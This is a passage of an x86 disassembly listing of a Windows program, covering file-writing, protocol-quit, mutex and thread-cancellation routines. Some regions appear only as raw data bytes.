		call	near ptr 77C4186Ah
		nop
		add	esp, 0Ch
		mov	[esp+14h+var_4], 0
		jmp	short loc_42F883
; ---------------------------------------------------------------------------


loc_42F82D:				; CODE XREF: sub_42F6F0+DAj
		mov	ecx, [esp+14h+arg_C]
		push	ecx
		push	2000h
		push	edi
		call	sub_40226B
		add	esp, 0Ch
		cmp	eax, ebp
		jle	short loc_42F883
		mov	esi, dword_511AA0


loc_42F84A:				; CODE XREF: sub_42F6F0+17Dj
		push	ebx
		push	eax
		push	1
		push	edi
		call	esi	; fwrite
		add	esp, 10h
		test	eax, eax
		jbe	short loc_42F871
		mov	edx, [esp+14h+arg_C]
		push	edx
		push	2000h
		push	edi
		call	sub_40226B
		add	esp, 0Ch
		cmp	eax, ebp
		jg	short loc_42F84A
		jmp	short loc_42F883
; ---------------------------------------------------------------------------


loc_42F871:				; CODE XREF: sub_42F6F0+166j
		push	offset aLocalfileWrite ; "localfile write"
		call	near ptr 77C36DF2h
		nop
		add	esp, 4
		mov	[esp+14h+var_4], ebp


loc_42F883:				; CODE XREF: sub_42F6F0+F4j
					; sub_42F6F0+121j ...
		push	edi
		call	near ptr 77C2C21Bh
		nop
		push	ebx
		nop
		call	near ptr 77C3EEF6h
		mov	eax, [esp+1Ch+arg_0]
		add	esp, 8
		test	eax, eax
		jz	short loc_42F8A6
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 4


loc_42F8A6:				; CODE XREF: sub_42F6F0+1AAj
		mov	eax, [esp+14h+arg_C]
		push	eax
		call	sub_401BEF
		mov	eax, [esp+18h+var_4]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42F6F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F940:				; CODE XREF: ___:004016A9j
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	2
		push	eax
		push	ecx
		push	edx
		call	sub_42F6F0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F970:				; CODE XREF: ___:00401D43j
		sub	esp, 108h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		mov	ebx, [esp+110h]
		push	ebp
		push	esi
		push	edi
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		mov	ebp, 1
		cmp	ecx, 100h
		jbe	short loc_42F9A7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42F9A7:				; CODE XREF: ___:0042F99Aj
		movsx	eax, byte ptr [esp+124h]
		mov	edi, dword_511A6C
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset dword_4474C8
		push	ecx
		call	edi	; sprintf
		mov	esi, [esp+134h]
		lea	edx, [esp+24h]
		push	esi
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42F9E8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42F9E8:				; CODE XREF: ___:0042F9DBj
		push	ebx
		lea	eax, [esp+1Ch]
		push	offset dword_4476CC
		push	eax
		call	edi	; sprintf
		push	esi
		lea	ecx, [esp+28h]
		push	32h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jz	short loc_42FA44
		lea	edx, [esp+10h]
		lea	eax, [esp+14h]
		push	edx
		push	eax
		add	esi, 44h
		push	offset dword_4476C4
		push	esi
		call	near ptr 77C41B72h
		nop
		add	esp, 10h
		cmp	eax, 2
		jnz	short loc_42FA44
		mov	ecx, [esp+120h]
		mov	edx, [esp+10h]
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		mov	[ecx], edx
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42FA44:				; CODE XREF: ___:0042FA07j
					; ___:0042FA28j
		xor	ebp, ebp
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FAA0:				; CODE XREF: ___:004013C0j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	edi
		mov	edi, edx
		mov	ebx, 1
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		jbe	short loc_42FAD0
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FAD0:				; CODE XREF: ___:0042FAC5j
		push	esi
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_4476D8
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	esi, [esp+128h]
		lea	ecx, [esp+18h]
		push	esi
		push	32h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42FB0B
		xor	ebx, ebx
		pop	esi
		mov	eax, ebx
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FB0B:				; CODE XREF: ___:0042FAFBj
		mov	edx, [esp+118h]
		mov	eax, [esp+114h]
		add	esi, 48h
		push	edx
		push	esi
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	eax, ebx
		pop	esi
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FB70	proc near		; CODE XREF: sub_4016B3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch
arg_C		= dword	ptr  10h

		movsx	eax, [esp+arg_8]
		mov	ecx, [esp+arg_C]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	3
		push	ecx
		push	edx
		push	eax
		call	sub_42F6F0
		add	esp, 14h
		retn
sub_42FB70	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FBA0:				; CODE XREF: ___:004016D1j
		movsx	eax, byte ptr [esp+0Ch]
		mov	ecx, [esp+10h]
		mov	edx, [esp+8]
		push	eax
		mov	eax, [esp+8]
		push	4
		push	ecx
		push	edx
		push	eax
		call	sub_42F6F0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FBD0:				; CODE XREF: ___:0040149Cj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42FC69
		mov	ebx, [esp+114h]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42FC69
		mov	esi, dword_511A6C
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_4476F0
		push	eax
		call	esi	; sprintf
		mov	edi, [esp+124h]
		lea	ecx, [esp+18h]
		push	edi
		push	33h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jz	short loc_42FC69
		push	ebx
		lea	edx, [esp+10h]
		push	offset dword_4476E4
		push	edx
		call	esi	; sprintf
		push	edi
		lea	eax, [esp+1Ch]
		push	32h
		push	eax
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FC69:				; CODE XREF: ___:0042FBF1j
					; ___:0042FC0Cj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FCB0:				; CODE XREF: ___:00401C7Bj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42FCD9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FCD9:				; CODE XREF: ___:0042FCD0j
		push	edx
		lea	eax, [esp+4]
		push	offset dword_4476FC
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FD30	proc near		; CODE XREF: sub_401D66j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+18h]
		test	eax, eax
		jnz	short loc_42FD69
		push	edi
		push	esi
		push	32h
		push	offset aQuit	; "QUIT"
		call	sub_42E490
		mov	eax, [esi+8]
		add	esp, 0Ch
		push	eax
		call	sub_4381FC
; ---------------------------------------------------------------------------
		mov	ecx, [esi+14h]
		mov	edi, dword_511AD0
		push	ecx
		call	edi	; free
		push	esi
		call	edi	; free
		add	esp, 8
		pop	edi


loc_42FD69:				; CODE XREF: sub_42FD30+Aj
		pop	esi
		retn
sub_42FD30	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FD80:				; CODE XREF: ___:004021C1j
		push	edi
		mov	edi, [esp+8]
		test	edi, edi
		jnz	short loc_42FD90
		mov	eax, 16h
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42FD90:				; CODE XREF: ___:0042FD87j
		push	1Ch
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		test	eax, eax
		jnz	short loc_42FDA6
		mov	eax, 0Ch
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42FDA6:				; CODE XREF: ___:0042FD9Dj
		mov	ecx, 1
		mov	dword ptr [eax+8], 0
		mov	dword ptr [eax+0Ch], 0
		mov	dword ptr [eax+10h], 0
		mov	[eax+14h], ecx
		mov	[eax+18h], ecx
		mov	dword ptr [eax], 0C4C0FFEEh
		mov	[edi], eax
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FE00:				; CODE XREF: ___:0040151Ej
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FE19
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FE19:				; CODE XREF: ___:0042FE10j
		mov	eax, [esi]
		mov	dword ptr [eax], 0
		mov	ecx, [esi]
		push	ecx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FE50:				; CODE XREF: ___:004012D5j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		mov	eax, [esp+0Ch]
		jnz	short loc_42FE75
		test	eax, eax
		jz	short loc_42FE75
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+0Ch]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42FE75:				; CODE XREF: ___:0042FE64j
					; ___:0042FE68j
		mov	dword ptr [eax], 1
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FEA0:				; CODE XREF: ___:004013ACj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FEB9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FEB9:				; CODE XREF: ___:0042FEB0j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_42FECD
		cmp	eax, 1
		jz	short loc_42FECD
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FECD:				; CODE XREF: ___:0042FEBFj
					; ___:0042FEC4j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+0Ch], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FEF0:				; CODE XREF: ___:00401519j
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FF10:				; CODE XREF: ___:00401834j
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FF30:				; CODE XREF: ___:00401348j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FF49
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FF49:				; CODE XREF: ___:0042FF40j
		mov	eax, [esi]
		mov	edx, [esp+0Ch]
		pop	esi
		mov	ecx, [eax+8]
		xor	eax, eax
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FF70:				; CODE XREF: ___:00402207j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FF89
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FF89:				; CODE XREF: ___:0042FF80j
		mov	eax, [esi]
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	[eax+8], ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FFB0:				; CODE XREF: ___:004019B0j
		mov	eax, [esp+4]
		mov	ecx, [eax]
		mov	eax, [esp+8]
		mov	edx, [ecx+18h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FFE0:				; CODE XREF: ___:004019ABj
		mov	eax, [esp+8]
		sub	eax, 0
		jz	short loc_430002
		dec	eax
		jz	short loc_42FFF2
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_42FFF2:				; CODE XREF: ___:0042FFEAj
		mov	eax, [esp+4]
		mov	ecx, [eax]
		xor	eax, eax
		mov	dword ptr [ecx+18h], 1
		retn
; ---------------------------------------------------------------------------


loc_430002:				; CODE XREF: ___:0042FFE7j
		mov	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430020:				; CODE XREF: ___:00401C1Cj
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		test	ebx, ebx
		jz	loc_4300BB
		mov	edi, [esp+18h]
		test	edi, edi
		jz	loc_4300BB
		push	18h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_4300B2
		mov	eax, [esp+14h]	; DATA XREF: ___:off_444E98o
		test	eax, eax
		jz	short loc_430060
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_430060
		mov	eax, [eax]
		jmp	short loc_430062
; ---------------------------------------------------------------------------


loc_430060:				; CODE XREF: ___:00430054j
					; ___:0043005Aj
		xor	eax, eax


loc_430062:				; CODE XREF: ___:0043005Ej
		mov	[esi+4], edi
		mov	[esi], edi
		lea	edi, [esi+10h]
		push	0
		push	eax
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+8], 0
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4300A8
		push	eax
		mov	eax, [esi+0Ch]
		lea	ecx, [esi+14h]
		push	eax
		push	ecx
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_43009F
		mov	[ebx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43009F:				; CODE XREF: ___:00430097j
		push	edi
		call	sub_401690
		add	esp, 4


loc_4300A8:				; CODE XREF: ___:00430082j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_4300B2:				; CODE XREF: ___:0043004Cj
		pop	edi
		pop	esi
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4300BB:				; CODE XREF: ___:00430029j
					; ___:00430035j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430100:				; CODE XREF: ___:0040220Cj
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch]
		push	esi
		test	ebp, ebp
		push	edi
		jz	short loc_430168
		mov	esi, [ebp+0]
		test	esi, esi
		jz	short loc_430168
		lea	ebx, [esi+10h]
		mov	dword ptr [ebp+0], 0
		push	ebx
		call	sub_401690
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_43015E
		lea	eax, [esi+14h]
		push	eax
		call	sub_401690
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_43014F
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43014F:				; CODE XREF: ___:0043013Cj
		mov	ecx, [esi+0Ch]
		push	0
		push	ecx
		push	ebx
		call	sub_401C8A
		add	esp, 0Ch


loc_43015E:				; CODE XREF: ___:0043012Aj
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430168:				; CODE XREF: ___:0043010Aj
					; ___:00430111j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4301A0:				; CODE XREF: ___:004017A3j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	loc_430254
		mov	esi, [eax]
		test	esi, esi
		jz	loc_430254
		push	ebp
		lea	ebp, [esi+8]
		push	edi
		push	esi
		mov	edi, [ebp+0]
		nop
		call	near ptr 277075Fh
		test	eax, eax
		jnz	short loc_4301E7
		mov	eax, [esi+4]
		cmp	eax, 1
		mov	[esi], eax
		jbe	short loc_430234
		dec	eax
		push	eax
		lea	eax, [esi+edi*4+10h]
		push	eax
		call	sub_402068
		add	esp, 8
		mov	esi, eax
		jmp	short loc_430230
; ---------------------------------------------------------------------------


loc_4301E7:				; CODE XREF: ___:004301C8j
		push	ebx
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	ecx, [eax+34h]
		mov	ebx, 1
		cmp	ecx, ebx
		jnz	short loc_43020B
		lea	ecx, [esp+14h]
		push	ecx
		push	ebx
		call	sub_401415
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jz	short loc_43020D


loc_43020B:				; CODE XREF: ___:004301F7j
		xor	ebx, ebx


loc_43020D:				; CODE XREF: ___:00430209j
		lea	edx, [esi+edi*4+10h]
		push	edx
		call	sub_401041
		add	esp, 4
		mov	esi, eax
		test	ebx, ebx
		pop	ebx
		jz	short loc_430230
		mov	eax, [esp+10h]
		push	0
		push	eax
		call	sub_401415
; ---------------------------------------------------------------------------
		add	esp, 8


loc_430230:				; CODE XREF: ___:004301E5j
					; ___:0043021Fj
		test	esi, esi
		jnz	short loc_43024E


loc_430234:				; CODE XREF: ___:004301D2j
		mov	ecx, 1
		push	edi
		sub	ecx, edi
		push	ecx
		push	ebp
		call	dword_5103D8	; InterlockedCompareExchange
		xor	edx, edx
		cmp	edi, eax
		setnz	dl
		dec	edx
		mov	esi, edx


loc_43024E:				; CODE XREF: ___:00430232j
		pop	edi
		mov	eax, esi
		pop	ebp
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430254:				; CODE XREF: ___:004301A7j
					; ___:004301B1j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430290:				; CODE XREF: ___:00401F6Ej
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_4302B3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4302B3:				; CODE XREF: ___:004302A2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4302E0:				; CODE XREF: ___:00401A87j
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_430301
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_430301
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430301:				; CODE XREF: ___:004302E9j
					; ___:004302EFj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430320:				; CODE XREF: ___:0040127Bj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43033D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43033D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_43033D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_43033D:				; CODE XREF: ___:00430326j
					; ___:0043032Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430360:				; CODE XREF: ___:00401636j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43038A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_43038A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_43037E
		test	eax, eax
		jnz	short loc_43038A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_43037E:				; CODE XREF: ___:00430375j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_43038A:				; CODE XREF: ___:00430366j
					; ___:0043036Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4303A0	proc near		; CODE XREF: sub_401415j
		push	esi
		push	edi
		call	sub_4012E4
sub_4303A0	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h
		dd 0E8532C5Eh, 0FFFD1E84h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889304Eh, 7E89FF85h,	8B3E7530h, 0C0853446h, 568B3775h
		dd 90525738h, 340034E8h, 75C08502h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	90000000h, 340196E8h, 0B4E85302h
		dd 6AFFFD0Ch, 19D7E802h, 0C483FFFDh, 0A4E85308h, 83FFFD0Ch
		dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h,	0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_430460:				; CODE XREF: ___:00402261j
		push	ebx
		push	esi
		call	sub_4012E4
; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h
		dd 0E8572C7Eh, 0FFFD1DC4h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889344Eh, 8930468Bh,	0C085345Eh, 0DB853B75h,	568B3775h
		dd 90525338h, 33FF74E8h, 75C08502h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	90000000h, 3400D6E8h, 0F4E85702h
		dd 6AFFFD0Bh, 1917E802h, 0C483FFFDh, 0E4E85708h, 83FFFD0Bh
		dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h,	0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430520	proc near		; CODE XREF: sub_401D02j
		push	esi
		push	edi
		call	sub_4012E4
sub_430520	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 2C7E8DF0h, 1D16E857h, 0C483FFFDh, 74F68504h,	307E8334h
		dd 8B2E7401h, 6A3846h, 0D6E89050h, 850233FEh, 571E75C0h
		dd 30C46C7h, 0C7000000h, 13046h, 60E80000h, 6AFFFD0Bh
		dd 1883E802h, 0C483FFFDh, 50E85708h, 83FFFD0Bh,	5E5F04C4h
		dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_4305A0:				; CODE XREF: ___:00401D39j
		sub	esp, 2D0h
		push	esi
		mov	esi, [esp+2D8h]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		mov	[esp+4], eax
		test	eax, eax
		jnz	loc_4306D9
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4305DB
		mov	eax, 0Ch
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_4305DB:				; CODE XREF: ___:004305CCj
		push	ebx
		push	ebp
		push	edi
		push	eax
		push	esi
		call	sub_401A64
		lea	ebx, [esi+2Ch]
		mov	edi, eax
		push	ebx
		call	sub_402248
		mov	eax, [esi+34h]
		add	esp, 0Ch
		test	eax, eax
		mov	ebp, 3
		jnz	loc_4306B2
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	loc_4306B2
		cmp	[esi+0Ch], ebp
		jge	loc_4306C5
		test	edi, edi
		jz	short loc_430644
		push	ebx
		mov	[esi+0Ch], ebp
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		mov	eax, [esp+18h]
		add	esp, 8
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_430644:				; CODE XREF: ___:00430619j
		mov	edi, [esi+4]
		push	edi
		nop
		call	near ptr 276095Eh
		push	0
		push	edi
		nop
		call	near ptr 2770421h
		cmp	eax, 102h
		jnz	short loc_4306D2
		lea	eax, [esp+14h]
		mov	[esi+0Ch], ebp
		push	eax
		push	edi
		mov	dword ptr [esi+30h], 1
		mov	dword ptr [esp+1Ch], 10001h
		call	near ptr 2760AD7h
		nop
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+0CCh], offset loc_430750
		push	ecx
		push	edi
		nop
		call	near ptr 2760C8Eh
		push	ebx
		call	sub_4010C3
		add	esp, 4
		push	edi
		call	near ptr 2770000h
		nop
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_4306B2:				; CODE XREF: ___:004305FDj
					; ___:00430608j
		cmp	[esi+0Ch], ebp
		jge	short loc_4306C5
		mov	edx, [esi+38h]
		push	edx
		nop
		call	near ptr 277025Eh
		test	eax, eax
		jnz	short loc_4306C9


loc_4306C5:				; CODE XREF: ___:00430611j
					; ___:004306B5j
		mov	[esp+10h], ebp


loc_4306C9:				; CODE XREF: ___:004306C3j
		push	ebx
		call	sub_4010C3
		add	esp, 4


loc_4306D2:				; CODE XREF: ___:0043065Cj
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx


loc_4306D9:				; CODE XREF: ___:004305BFj
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430750:				; DATA XREF: ___:00430680o
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430770	proc near		; CODE XREF: sub_401122j
		mov	eax, dword_5103C8
		push	esi
		push	eax
		call	sub_401190
sub_430770	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jz	short loc_4307AE
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_43079C
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_43079C
		mov	ecx, [esi+4]
		push	ecx
		call	eax
		add	esp, 4


